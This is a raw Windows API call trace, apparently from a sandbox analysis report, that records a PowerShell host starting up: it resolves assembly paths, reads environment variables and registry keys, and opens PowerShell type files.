lpBuffer=0x27d450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.033] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27d450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0061.152] CoCreateGuid (in: pguid=0x27dad0 | out: pguid=0x27dad0*(Data1=0x5db4f629, Data2=0x6227, Data3=0x42cd, Data4=([0]=0xaa, [1]=0x1c, [2]=0x8b, [3]=0xe3, [4]=0x34, [5]=0x4b, [6]=0x71, [7]=0x60))) returned 0x0 [0061.159] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.159] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.159] CoTaskMemFree (pv=0x18b130) [0061.171] WinSqmIsOptedIn () returned 0x0 [0061.172] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.172] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.172] CoTaskMemFree (pv=0x18b130) [0061.181] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.181] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.181] CoTaskMemFree (pv=0x18b130) [0061.182] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.182] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.182] CoTaskMemFree (pv=0x18b130) [0061.184] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.184] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.184] CoTaskMemFree (pv=0x18b130) [0061.185] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.185] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.185] CoTaskMemFree (pv=0x18b130) [0061.188] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.188] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.188] CoTaskMemFree (pv=0x18b130) [0061.189] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.189] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.189] CoTaskMemFree (pv=0x18b130) [0061.190] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.190] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.190] CoTaskMemFree (pv=0x18b130) [0061.192] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.192] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.192] CoTaskMemFree (pv=0x18b130) [0061.198] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.198] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.198] CoTaskMemFree (pv=0x18b130) [0061.204] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.204] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.204] CoTaskMemFree (pv=0x18b130) [0061.205] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.205] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.205] CoTaskMemFree (pv=0x18b130) [0061.393] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cf20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.393] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.393] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.393] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.499] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cf20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.499] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.499] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.499] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cf20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.499] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.499] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.499] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cf20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.499] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.499] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.500] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27cf20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.500] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.500] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27ce70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0061.507] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.507] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0061.507] CoTaskMemFree (pv=0x18b130) [0061.510] CoTaskMemAlloc (cb=0xcc) returned 0x1ad800 [0061.510] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x1ad800, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0061.510] CoTaskMemFree (pv=0x1ad800) [0061.510] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d648 | out: phkResult=0x27d648*=0x324) returned 0x0 [0061.510] RegQueryValueExW (in: hKey=0x324, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x27d5cc, lpData=0x0, lpcbData=0x27d5c8*=0x0 | out: lpType=0x27d5cc*=0x2, lpData=0x0, lpcbData=0x27d5c8*=0x6c) returned 0x0 [0061.511] CoTaskMemAlloc (cb=0x70) returned 0x124830 [0061.511] RegQueryValueExW (in: hKey=0x324, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x27d59c, lpData=0x124830, lpcbData=0x27d598*=0x6c | out: lpType=0x27d59c*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0x27d598*=0x6c) returned 0x0 [0061.511] CoTaskMemFree (pv=0x124830) [0061.511] CoTaskMemAlloc (cb=0xcc) returned 0x1ad800 [0061.511] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x1ad800, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0061.511] CoTaskMemFree (pv=0x1ad800) [0061.511] CoTaskMemAlloc (cb=0xcc) returned 0x1ad800 [0061.511] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x1ad800, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0061.511] CoTaskMemFree (pv=0x1ad800) [0061.513] RegCloseKey (hKey=0x324) returned 0x0 [0061.513] CoTaskMemAlloc (cb=0xcc) returned 0x1ad800 [0061.513] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x1ad800, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0061.513] CoTaskMemFree (pv=0x1ad800) [0061.513] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d648 | out: phkResult=0x27d648*=0x324) returned 0x0 [0061.513] RegQueryValueExW (in: hKey=0x324, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x27d5cc, lpData=0x0, lpcbData=0x27d5c8*=0x0 | out: lpType=0x27d5cc*=0x0, lpData=0x0, lpcbData=0x27d5c8*=0x0) returned 0x2 [0061.513] RegCloseKey (hKey=0x324) returned 0x0 [0061.529] CoTaskMemAlloc (cb=0x20c) returned 0x12d520 [0061.529] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x12d520 | out: pszPath="C:\\Users\\qj4SUKboE\\Documents") returned 0x0 [0061.530] CoTaskMemFree (pv=0x12d520) [0061.530] GetFullPathNameW (in: lpFileName="C:\\Users\\qj4SUKboE\\Documents", nBufferLength=0x105, lpBuffer=0x27d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Documents", lpFilePart=0x0) returned 0x1c [0061.531] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\qj4SUKboE\\Documents\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1 [0061.534] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.534] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.534] CoTaskMemFree (pv=0x18b130) [0061.535] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.535] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.535] CoTaskMemFree (pv=0x18b130) [0061.546] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.546] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.546] CoTaskMemFree (pv=0x18b130) [0061.546] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.546] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.546] CoTaskMemFree (pv=0x18b130) [0061.555] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d438 | out: phkResult=0x27d438*=0x32c) returned 0x0 [0061.562] RegQueryValueExW (in: hKey=0x32c, lpValueName="path", lpReserved=0x0, lpType=0x27d44c, lpData=0x0, lpcbData=0x27d448*=0x0 | out: lpType=0x27d44c*=0x1, lpData=0x0, lpcbData=0x27d448*=0x74) returned 0x0 [0061.563] RegQueryValueExW (in: hKey=0x32c, lpValueName="path", lpReserved=0x0, lpType=0x27d3bc, lpData=0x0, lpcbData=0x27d3b8*=0x0 | out: lpType=0x27d3bc*=0x1, lpData=0x0, lpcbData=0x27d3b8*=0x74) returned 0x0 [0061.563] CoTaskMemAlloc (cb=0x78) returned 0x124830 [0061.563] RegQueryValueExW (in: hKey=0x32c, lpValueName="path", lpReserved=0x0, lpType=0x27d38c, lpData=0x124830, lpcbData=0x27d388*=0x74 | out: lpType=0x27d38c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x27d388*=0x74) returned 0x0 [0061.563] CoTaskMemFree (pv=0x124830) [0061.563] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x27d100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0061.563] SetErrorMode (uMode=0x1) returned 0x1 [0061.563] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x27d310 | out: lpFileInformation=0x27d310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0061.563] SetErrorMode (uMode=0x1) returned 0x1 [0061.566] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27d100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0061.566] SetErrorMode (uMode=0x1) returned 0x1 [0061.566] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27d310 | out: lpFileInformation=0x27d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d6d2bb, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d6d2bb, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe8e83beb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0061.567] SetErrorMode (uMode=0x1) returned 0x1 [0061.570] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27d100, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0061.570] SetErrorMode (uMode=0x1) returned 0x1 [0061.570] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27d310 | out: lpFileInformation=0x27d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe968c5bf, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0xe968c5bf, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0xe968c5bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0061.571] SetErrorMode (uMode=0x1) returned 0x1 [0061.577] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.577] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.577] CoTaskMemFree (pv=0x18b130) [0061.581] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0061.581] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0061.581] CoTaskMemFree (pv=0x18b130) [0061.582] GetACP () returned 0x4e4 [0061.593] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27ccc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0061.593] SetErrorMode (uMode=0x1) returned 0x1 [0061.594] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x330 [0061.594] GetFileType (hFile=0x330) returned 0x1 [0061.594] SetErrorMode (uMode=0x1) returned 0x1 [0061.594] GetFileType (hFile=0x330) returned 0x1 [0061.595] ReadFile (in: hFile=0x330, lpBuffer=0x2d8d670, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27d248, lpOverlapped=0x0 | out: lpBuffer=0x2d8d670*, lpNumberOfBytesRead=0x27d248*=0x1000, lpOverlapped=0x0) returned 1 [0061.598] ReadFile (in: hFile=0x330, lpBuffer=0x2d8d670, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27d248, lpOverlapped=0x0 | out: lpBuffer=0x2d8d670*, lpNumberOfBytesRead=0x27d248*=0x1000, lpOverlapped=0x0) returned 1 [0061.598] ReadFile (in: hFile=0x330, lpBuffer=0x2d8d670, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27d248, lpOverlapped=0x0 | out: lpBuffer=0x2d8d670*, lpNumberOfBytesRead=0x27d248*=0x1000, lpOverlapped=0x0) returned 1 [0061.598] ReadFile (in: hFile=0x330, lpBuffer=0x2d8d670, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27d248, lpOverlapped=0x0 | out: lpBuffer=0x2d8d670*, lpNumberOfBytesRead=0x27d248*=0xcf3, lpOverlapped=0x0) returned 1 [0061.598] ReadFile (in: hFile=0x330, lpBuffer=0x2d8cacb, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0x27d248, lpOverlapped=0x0 | out: lpBuffer=0x2d8cacb*, lpNumberOfBytesRead=0x27d248*=0x0, lpOverlapped=0x0) returned 1 [0061.598] ReadFile (in: hFile=0x330, lpBuffer=0x2d8d670, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27d248, lpOverlapped=0x0 | out: lpBuffer=0x2d8d670*, lpNumberOfBytesRead=0x27d248*=0x0, lpOverlapped=0x0) returned 1 [0061.600] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27cf60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0061.601] SetErrorMode (uMode=0x1) returned 0x1 [0061.601] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x27d1c0 | out: lpFileInformation=0x27d1c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d6d2bb, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d6d2bb, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe8e83beb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0061.601] SetErrorMode (uMode=0x1) returned 0x1 [0061.602] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0061.602] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d2a8 | out: phkResult=0x27d2a8*=0x330) returned 0x0 [0061.602] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27d22c, lpData=0x0, lpcbData=0x27d228*=0x0 | out: lpType=0x27d22c*=0x1, lpData=0x0, lpcbData=0x27d228*=0x56) returned 0x0 [0061.602] CoTaskMemAlloc (cb=0x5a) returned 0x1b789620 [0061.602] RegQueryValueExW (in: hKey=0x330, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27d1fc, lpData=0x1b789620, lpcbData=0x27d1f8*=0x56 | out: lpType=0x27d1fc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x27d1f8*=0x56) returned 0x0 [0061.602] CoTaskMemFree (pv=0x1b789620) [0061.602] RegCloseKey (hKey=0x330) returned 0x0 [0061.602] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0061.602] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x27cda0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0061.662] VirtualQuery (in: lpAddress=0x27bf90, lpBuffer=0x27ce50, dwLength=0x30 | out: lpBuffer=0x27ce50*(BaseAddress=0x27b000, AllocationBase=0x200000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0061.684] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27ccc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0061.684] SetErrorMode (uMode=0x1) returned 0x1 [0061.689] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x27cf60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0061.689] SetErrorMode (uMode=0x1) returned 0x1 